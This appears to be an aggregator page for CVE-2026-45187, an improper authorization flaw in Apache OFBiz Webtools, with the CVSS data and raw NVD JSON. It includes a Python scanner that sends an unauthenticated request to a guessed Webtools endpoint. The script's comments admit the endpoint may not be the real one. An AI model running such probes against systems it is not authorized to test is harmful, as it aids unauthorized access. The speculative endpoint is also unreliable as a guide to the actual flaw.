Security Vulnerability Report
中文
CVE-2026-45187 CVSS 6.5 MEDIUM

CVE-2026-45187

Published: 2026-05-19 10:16:25
Last Modified: 2026-05-19 19:16:51

Description

Improper Authorization vulnerability in Apache OFBiz Webtools. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE
Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_cve_2026_45187(target_url): """ PoC for CVE-2026-45187: Improper Authorization in Apache OFBiz Webtools This script attempts to access a protected Webtools endpoint without authentication. """ # Common vulnerable endpoint path in OFBiz Webtools # Note: The actual vulnerable endpoint might vary based on configuration. endpoint = "/webtools/control/programExport" full_url = f"{target_url}{endpoint}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send request without authentication cookies or headers response = requests.get(full_url, headers=headers, timeout=10, allow_redirects=False) # Check if response indicates successful unauthorized access (e.g., HTTP 200 OK) # Often a redirect (302) to login indicates protection, while 200 might indicate bypass. if response.status_code == 200 and "ofbiz" in response.text.lower(): print(f"[+] Potential Vulnerability Detected!") print(f" Target: {full_url}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)} bytes") return True else: print(f"[-] Target does not appear to be vulnerable. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") print("Example: python poc.py http://localhost:8080") else: check_cve_2026_45187(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45187", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:24.500", "lastModified": "2026-05-19T19:16:50.803", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authorization vulnerability in Apache OFBiz Webtools.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/pcmfyxjyk7dg0btxqg9h7cr30yg8mr7k", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/28", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}